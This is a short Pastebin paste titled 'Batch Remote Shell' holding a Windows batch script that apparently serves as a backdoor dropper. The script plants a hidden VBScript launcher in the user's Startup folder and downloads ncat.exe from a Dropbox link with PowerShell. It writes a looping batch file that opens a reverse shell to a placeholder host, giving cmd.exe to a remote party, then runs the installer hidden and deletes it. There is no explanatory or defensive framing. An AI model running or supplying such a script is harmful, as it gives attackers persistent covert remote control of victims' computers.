DaikiDaiki

Batch Remote Shell

Oct 24th, 2019
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.65 KB | None | 0 0
  1. cd %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
  2. echo CreateObject^("Wscript.Shell"^).Run "C:\Users\Public\ssh.bat",0,True>ssh.vbs
  3. cd C:\Users\Public
  4. echo :A>ssh.bat
  5. echo C:\Users\Public\ncat.exe HOSTIP HOSTPORT -e C:\Windows\System32\cmd.exe 2^>nul ^>nul>>ssh.bat
  6. echo goto A>>ssh.bat
  7. echo :A>installer.bat
  8. echo powershell /c Invoke-WebRequest -Uri https://www.dropbox.com/s/ehp2uq735pzo1gy/ncat.exe?dl=1 -OutFile "ncat.exe" ^|^| goto A>>installer.bat
  9. echo start wscript.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\ssh.vbs">>installer.bat
  10. echo del installer.bat>>installer.bat
  11. powershell /W H /C C:\Users\Public\installer.bat
Add Comment
Please, Sign In to add comment